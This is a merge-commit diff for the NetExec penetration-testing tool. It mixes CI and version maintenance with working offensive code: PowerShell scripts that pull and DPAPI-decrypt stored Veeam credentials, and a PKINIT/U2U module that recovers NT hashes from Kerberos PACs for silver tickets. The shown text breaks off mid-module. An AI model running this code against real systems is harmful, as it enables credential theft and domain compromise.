Merge branch 'main' into Add---remoteuac-module

This commit is contained in:
Alex
2025-03-08 15:06:53 +01:00
committed by GitHub
105 changed files with 5084 additions and 2294 deletions
@@ -1,11 +1,3 @@
---
name: Pull request
about: Update code to fix a bug or add an enhancement/feature
title: ''
labels: ''
assignees: ''
---
## Description
Please include a summary of the change and which issue is fixed, or what the enhancement does.
+3 -3
View File
@@ -10,7 +10,7 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.11"]
python-version: ["3.13"]
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
steps:
- uses: actions/checkout@v4
@@ -25,13 +25,13 @@ jobs:
pyinstaller netexec.spec
- name: Upload Windows Binary
if: runner.os == 'windows'
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxc.exe
path: dist/nxc.exe
- name: Upload Nix/OSx Binary
if: runner.os != 'windows'
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxc-${{ matrix.os }}
path: dist/nxc
+3 -3
View File
@@ -10,7 +10,7 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.8", "3.9", "3.10", "3.11"]
python-version: ["3.10", "3.11", "3.12", "3.13"]
steps:
- uses: actions/checkout@v4
- name: NetExec set up python on ${{ matrix.os }}
@@ -22,12 +22,12 @@ jobs:
pip install shiv
python build_collector.py
- name: Upload nxc ZipApp
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxc-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
path: bin/nxc
- name: Upload nxcdb ZipApp
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxcdb-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
path: bin/nxcdb
+1 -1
View File
@@ -19,7 +19,7 @@ jobs:
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: 3.11
python-version: 3.13
cache: poetry
cache-dependency-path: poetry.lock
- name: Install dependencies with dev group
+3 -3
View File
@@ -8,18 +8,18 @@ on:
jobs:
build:
name: Test for Py${{ matrix.python-version }}
if: github.event.review.state == 'APPROVED'
if: github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
runs-on: ${{ matrix.os }}
strategy:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
python-version: ["3.10", "3.11", "3.12", "3.13"]
steps:
- uses: actions/checkout@v4
- name: Install poetry
run: |
pipx install poetry
pipx install poetry==1.8.4
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
uses: actions/setup-python@v5
with:
+1 -1
View File
@@ -1,4 +1,4 @@
Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
Copyright (c) 2025, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
Copyright (c) 2022, byt3bl33d3r
All rights reserved.
+1 -1
View File
@@ -1,4 +1,4 @@
![Supported Python versions](https://img.shields.io/badge/python-3.8+-blue.svg)
![Supported Python versions](https://img.shields.io/badge/python-3.10+-blue.svg)
[![Twitter](https://img.shields.io/twitter/follow/al3xn3ff?label=al3x_n3ff&style=social)](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
[![Twitter](https://img.shields.io/twitter/follow/_zblurx?label=_zblurx&style=social)](https://twitter.com/intent/follow?screen_name=_zblurx)
[![Twitter](https://img.shields.io/twitter/follow/MJHallenbeck?label=MJHallenbeck&style=social)](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
+4
View File
@@ -25,10 +25,12 @@ a = Analysis(
'impacket.dcerpc.v5.lsad',
'impacket.dcerpc.v5.gkdi',
'impacket.dcerpc.v5.rprn',
'impacket.dcerpc.v5.even',
'impacket.dpapi_ng',
'impacket.tds',
'impacket.version',
'impacket.ldap.ldap',
'jwt',
'nxc.connection',
'nxc.servers.smb',
'nxc.protocols.smb.wmiexec',
@@ -48,6 +50,7 @@ a = Analysis(
'pywerview.cli.helpers',
'pylnk3',
'pypykatz',
'pyNfsClient',
'masky',
'msldap',
'msldap.connection',
@@ -69,6 +72,7 @@ a = Analysis(
'dploot.triage.masterkeys',
'dploot.triage.mobaxterm',
'dploot.triage.backupkey',
'dploot.triage.wam',
'dploot.triage.wifi',
'dploot.triage.sccm',
'dploot.lib.target',
+11 -4
View File
@@ -22,7 +22,7 @@ def gen_cli_args():
except ValueError:
VERSION = importlib.metadata.version("netexec")
COMMIT = ""
CODENAME = "ItsAlwaysDNS"
CODENAME = "NeedForSpeed"
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
@@ -53,9 +53,9 @@ def gen_cli_args():
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
/ /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
\ /
ॱ ॱ
/ /˙-˙\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
˙ \ / ˙
˙ ˙
The network execution tool
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
@@ -98,6 +98,13 @@ def gen_cli_args():
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
certificate_group = std_parser.add_argument_group("Certificate", "Options for certificate authentication")
certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")
server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
+15 -4
View File
@@ -1,4 +1,7 @@
import random
import sys
import contextlib
from os.path import isfile
from threading import BoundedSemaphore
from functools import wraps
@@ -13,10 +16,9 @@ from nxc.loaders.moduleloader import ModuleLoader
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.protocols.ldap.laps import laps_search
from nxc.helpers.pfx import pfx_auth
from impacket.dcerpc.v5 import transport
import sys
import contextlib
sem = BoundedSemaphore(1)
global_failed_logins = 0
@@ -229,7 +231,8 @@ class connection:
else:
self.logger.debug("Created connection object")
self.enum_host_info()
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
self.print_host_info()
if self.login() or (self.username == "" and self.password == ""):
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
@@ -383,7 +386,7 @@ class connection:
if isfile(user):
with open(user) as user_file:
for line in user_file:
if "\\" in line:
if "\\" in line and len(line.split("\\")) == 2:
domain_single, username_single = line.split("\\")
else:
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
@@ -547,6 +550,14 @@ class connection:
self.logger.info("Successfully authenticated using Kerberos cache")
return True
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
self.logger.debug("Trying to authenticate using Certificate pfx")
if not self.args.username:
self.logger.fail("You must specify a username when using certificate authentication")
return False
with sem:
return pfx_auth(self)
if hasattr(self.args, "laps") and self.args.laps:
self.logger.debug("Trying to authenticate using LAPS")
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
@@ -1,9 +1,10 @@
$SqlDatabaseName = "REPLACE_ME_SqlDatabase"
$SqlServerName = "REPLACE_ME_SqlServer"
$SqlInstanceName = "REPLACE_ME_SqlInstance"
$b64Salt = "REPLACE_ME_b64Salt"
#Forming the connection string
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
$auth = "Integrated Security=SSPI;" #Local user
$connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
@@ -22,19 +23,46 @@ catch {
exit -1
}
$rows=($dataset.Tables | Select-Object -Expand Rows)
if ($rows.count -eq 0) {
$output=($dataset.Tables | Select-Object -Expand Rows)
if ($output.count -eq 0) {
Write-Host "No passwords found!"
exit
}
Add-Type -assembly System.Security
#Decrypting passwords using DPAPI
$rows | ForEach-Object -Process {
$EnryptedPWD = [Convert]::FromBase64String($_.password)
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
# Decrypting passwords using DPAPI
$output | ForEach-Object -Process {
$EncryptedPWD = [Convert]::FromBase64String($_.password)
$enc = [system.text.encoding]::Default
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
try {
# Decrypt password with DPAPI (old Veeam versions)
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
} catch {
try{
# Decrypt password with salted DPAPI (new Veeam versions)
$salt = [System.Convert]::FromBase64String($b64Salt)
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
foreach ($byte in $EncryptedPWD)
{
$hex.AppendFormat("{0:x2}", $byte) > $null
}
$hex = $hex.ToString().Substring(74,$hex.Length-74)
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
for ($i = 0; $i -lt $hex.Length; $i += 2)
{
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
}
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
}catch {
$pw_string = "COULD_NOT_DECRYPT"
}
}
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
$_.password = $pw_string
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
}
Write-Output $rows | Format-Table -HideTableHeaders | Out-String
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
@@ -1,8 +1,9 @@
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
$b64Salt = "REPLACE_ME_b64Salt"
$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';"
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
if ($output.count -eq 0) {
@@ -10,13 +11,40 @@ if ($output.count -eq 0) {
exit
}
# Decrypting passwords using DPAPI
Add-Type -assembly System.Security
#Decrypting passwords using DPAPI
$output | ForEach-Object -Process {
$EnryptedPWD = [Convert]::FromBase64String($_.password)
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$EncryptedPWD = [Convert]::FromBase64String($_.password)
$enc = [system.text.encoding]::Default
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
try {
# Decrypt password with DPAPI (old Veeam versions)
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
} catch {
try{
# Decrypt password with salted DPAPI (new Veeam versions)
$salt = [System.Convert]::FromBase64String($b64Salt)
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
foreach ($byte in $EncryptedPWD)
{
$hex.AppendFormat("{0:x2}", $byte) > $null
}
$hex = $hex.ToString().Substring(74,$hex.Length-74)
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
for ($i = 0; $i -lt $hex.Length; $i += 2)
{
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
}
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
}catch {
$pw_string = "COULD_NOT_DECRYPT"
}
}
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
$_.password = $pw_string
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
}
Write-Output $output | Format-Table -HideTableHeaders | Out-String
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
+16 -1
View File
@@ -1,4 +1,5 @@
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
from argparse import Action
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
def _get_help_string(self, action):
@@ -7,4 +8,18 @@ class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None
help_string += " (default: %(default)s)" # NORUFF
return help_string
return help_string
class DefaultTrackingAction(Action):
def __init__(self, option_strings, dest, default=None, required=False, **kwargs):
# Store the default value to check later
self.default_value = default
super().__init__(
option_strings, dest, default=default, required=required, **kwargs
)
def __call__(self, parser, namespace, values, option_string=None):
# Set an attribute to track whether the value was explicitly set
setattr(namespace, self.dest, values)
setattr(namespace, f"{self.dest}_explicitly_set", True)
+538
View File
@@ -0,0 +1,538 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema (@_dirkjan)
#
# Description:
# This script will use an existing TGT to request a PAC for the current user using U2U.
# When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
# used for silver tickets and for backwards compatibility with other tooling.
#
# References:
#
# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
#
# Based on examples from minikerberos by skelsec
# Parts of this code was inspired by the following project by @rubin_mor
# https://github.com/morRubin/AzureADJoinedMachinePTC
#
# Author:
# Tamas Jos (@skelsec)
# Dirk-jan Mollema (@_dirkjan)
#
import os
import secrets
import hashlib
import datetime
import logging
import random
import base64
from binascii import unhexlify, hexlify
from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private
from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key
from asn1crypto import cms
from asn1crypto import algos
from asn1crypto import core
from asn1crypto import keys
from minikerberos.pkinit import PKINIT, DirtyDH
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, \
PA_PAC_REQUEST
from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
from impacket.krb5 import constants
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
from impacket.krb5.kerberosv5 import sendReceive
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
from impacket.krb5.types import Principal, KerberosTime, Ticket
# Imports for pfx_auth
from minikerberos.network.clientsocket import KerberosClientSocket
from minikerberos.common.target import KerberosTarget
from minikerberos.common.ccache import CCACHE
from impacket.krb5.ccache import CCache as impacket_CCache
from nxc.paths import NXC_PATH
class myPKINIT(PKINIT):
"""
Copy of minikerberos PKINIT
With some changes where it differs from PKINIT used in NegoEx
"""
@staticmethod
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
with open(pfxfile, "rb") as f:
pfxdata = f.read()
if b64:
pfxdata = base64.b64decode(pfxdata)
return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
@staticmethod
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
pkinit = myPKINIT()
# oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead
if not pfxpass:
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography.hazmat.primitives import serialization
privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None)
pem_key = privkey.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption(),
)
pkinit.privkey = load_private_key(parse_private(pem_key))
pem_cert = cert.public_bytes(
encoding=serialization.Encoding.PEM
)
pkinit.certificate = parse_certificate(pem_cert)
else:
if isinstance(pfxpass, str):
pfxpass = pfxpass.encode()
pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass)
pkinit.privkey = load_private_key(pkinit.privkeyinfo)
pkinit.setup(dh_params=dh_params)
return pkinit
@staticmethod
def from_pem(certfile, privkeyfile, dh_params=None):
pkinit = myPKINIT()
with open(certfile, "rb") as f:
pkinit.certificate = parse_certificate(f.read())
with open(privkeyfile, "rb") as f:
pkinit.privkey = load_private_key(parse_private(f.read()))
pkinit.setup(dh_params=dh_params)
return pkinit
def sign_authpack(self, data, wrap_signed=False):
return self.sign_authpack_native(data, wrap_signed)
def setup(self, dh_params=None):
self.issuer = self.certificate.issuer.native["common_name"]
if dh_params is None:
print("Generating DH params...")
print("DH params generated.")
else:
if isinstance(dh_params, dict):
self.diffie = DirtyDH.from_dict(dh_params)
elif isinstance(dh_params, bytes):
self.diffie = DirtyDH.from_asn1(dh_params)
elif isinstance(dh_params, DirtyDH):
self.diffie = dh_params
else:
raise Exception("DH params must be either a bytearray or a dict")
def build_asreq(self, domain=None, cname=None, kdcopts=None):
if kdcopts is None:
kdcopts = ["forwardable", "renewable", "renewable-ok"]
if isinstance(kdcopts, list):
kdcopts = set(kdcopts)
if cname is not None:
if isinstance(cname, str):
cname = [cname]
else:
cname = [self.cname]
now = datetime.datetime.now(datetime.timezone.utc)
kdc_req_body_data = {}
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
kdc_req_body_data["realm"] = domain.upper()
kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["nonce"] = secrets.randbits(31)
kdc_req_body_data["etype"] = [18, 17] # 23 breaks...
kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
checksum = hashlib.sha1(kdc_req_body.dump()).digest()
authenticator = {}
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = now.replace(microsecond=0)
authenticator["nonce"] = secrets.randbits(31)
authenticator["paChecksum"] = checksum
dp = {}
dp["p"] = self.diffie.p
dp["g"] = self.diffie.g
dp["q"] = 0 # mandatory parameter, but it is not needed
pka = {}
pka["algorithm"] = "1.2.840.10046.2.1"
pka["parameters"] = keys.DomainParameters(dp)
spki = {}
spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
spki["public_key"] = self.diffie.get_public_key()
authpack = {}
authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
authpack["clientDHNonce"] = self.diffie.dh_nonce
authpack = AuthPack(authpack)
signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
payload = PA_PK_AS_REQ()
payload["signedAuthPack"] = signed_authpack
pa_data_1 = {}
pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
pa_data_1["padata-value"] = payload.dump()
pa_data_0 = {}
pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
asreq = {}
asreq["pvno"] = 5
asreq["msg-type"] = 10
asreq["padata"] = [pa_data_0, pa_data_1]
asreq["req-body"] = kdc_req_body
return AS_REQ(asreq).dump()
def sign_authpack_native(self, data, wrap_signed=False):
"""
Creating PKCS7 blob which contains the following things:
1. 'data' blob which is an ASN1 encoded "AuthPack" structure
2. the certificate used to sign the data blob
3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
"""
da = {}
da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26") # for sha1
si = {}
si["version"] = "v1"
si["sid"] = cms.IssuerAndSerialNumber({
"issuer": self.certificate.issuer,
"serial_number": self.certificate.serial_number,
})
si["digest_algorithm"] = algos.DigestAlgorithm(da)
si["signed_attrs"] = [
cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
]
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1")
ec = {}
ec["content_type"] = "1.3.6.1.5.2.3.1"
ec["content"] = data
sd = {}
sd["version"] = "v3"
sd["digest_algorithms"] = [algos.DigestAlgorithm(da)] # must have only one
sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
sd["certificates"] = [self.certificate]
sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
if wrap_signed is True:
ci = {}
ci["content_type"] = "1.2.840.113549.1.7.2" # signed data OID
ci["content"] = cms.SignedData(sd)
return cms.ContentInfo(ci).dump()
return cms.SignedData(sd).dump()
def decrypt_asrep(self, as_rep):
def truncate_key(value, keysize):
output = b""
currentNum = 0
while len(output) < keysize:
currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
if len(output) + len(currentDigest) > keysize:
output += currentDigest[:keysize - len(output)]
break
output += currentDigest
currentNum += 1
return output
for pa in as_rep["padata"]:
if pa["padata-type"] == 17:
pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
break
else:
raise Exception("PA_PK_AS_REP not found!")
ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
sd = ci["content"]
keyinfo = sd["encap_content_info"]
if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
raise Exception("Keyinfo content type unexpected value")
authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
shared_key = self.diffie.exchange(pubkey)
server_nonce = pkasrep["serverDHNonce"]
fullKey = shared_key + self.diffie.dh_nonce + server_nonce
etype = as_rep["enc-part"]["etype"]
cipher = _enctype_table[etype]
if etype == Enctype.AES256:
t_key = truncate_key(fullKey, 32)
elif etype == Enctype.AES128:
t_key = truncate_key(fullKey, 16)
elif etype == Enctype.RC4:
raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
key = Key(cipher.enctype, t_key)
enc_data = as_rep["enc-part"]["cipher"]
logging.info("AS-REP encryption key (you might need this later):")
logging.info(hexlify(t_key).decode("utf-8"))
dec_data = cipher.decrypt(key, 3, enc_data)
encasrep = EncASRepPart.load(dec_data).native
cipher = _enctype_table[int(encasrep["key"]["keytype"])]
session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
class GETPAC:
def printPac(self, data, key=None):
nthash = None
encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
0]
# So here we have the PAC
pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
buff = pacType["Buffers"]
found = False
for _bufferN in range(pacType["cBuffers"]):
infoBuffer = PAC_INFO_BUFFER(buff)
data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
if logging.getLogger().level == logging.DEBUG:
print("TYPE 0x%x" % infoBuffer["ulType"])
if infoBuffer["ulType"] == 2:
found = True
credinfo = PAC_CREDENTIAL_INFO(data)
if logging.getLogger().level == logging.DEBUG:
credinfo.dump()
newCipher = _enctype_table[credinfo["EncryptionType"]]
out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
type1 = TypeSerialization1(out)
# I'm skipping here 4 bytes with its the ReferentID for the pointer
newdata = out[len(type1) + 4:]
pcc = PAC_CREDENTIAL_DATA(newdata)
if logging.getLogger().level == logging.DEBUG:
pcc.dump()
for cred in pcc["Credentials"]:
credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
if logging.getLogger().level == logging.DEBUG:
credstruct.dump()
logging.info("Recovered NT Hash")
logging.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
buff = buff[len(infoBuffer):]
if not found:
logging.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
return nthash
def __init__(self, username, domain, kdcHost, key, tgt):
self.__username = username
self.__domain = domain.upper()
self.__kdcHost = kdcHost
self.__asrep_key = key
self.__tgt = tgt["KDC_REP"]
self.__cipher = tgt["cipher"]
self.__sessionKey = tgt["sessionKey"]
def dump(self):
# Try all requested protocols until one works.
tgt = self.__tgt
cipher = self.__cipher
sessionKey = self.__sessionKey
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT["ticket"])
apReq = AP_REQ()
apReq["pvno"] = 5
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq["ap-options"] = constants.encodeFlags(opts)
seq_set(apReq, "ticket", ticket.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = str(decodedTGT["crealm"])
clientName = Principal()
clientName.from_asn1(decodedTGT, "crealm", "cname")
seq_set(authenticator, "cname", clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
if logging.getLogger().level == logging.DEBUG:
logging.debug("AUTHENTICATOR")
print(authenticator.prettyPrint())
print("\n")
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq["authenticator"] = noValue
apReq["authenticator"]["etype"] = cipher.enctype
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq["pvno"] = 5
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq["padata"] = noValue
tgsReq["padata"][0] = noValue
tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq["padata"][0]["padata-value"] = encodedApReq
reqBody = seq_set(tgsReq, "req-body")
opts = []
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
reqBody["kdc-options"] = constants.encodeFlags(opts)
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, "sname", serverName.components_to_asn1)
reqBody["realm"] = str(decodedTGT["crealm"])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody["till"] = KerberosTime.to_asn1(now)
reqBody["nonce"] = random.getrandbits(31)
seq_set_iter(reqBody, "etype",
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
myTicket = ticket.to_asn1(TicketAsn1())
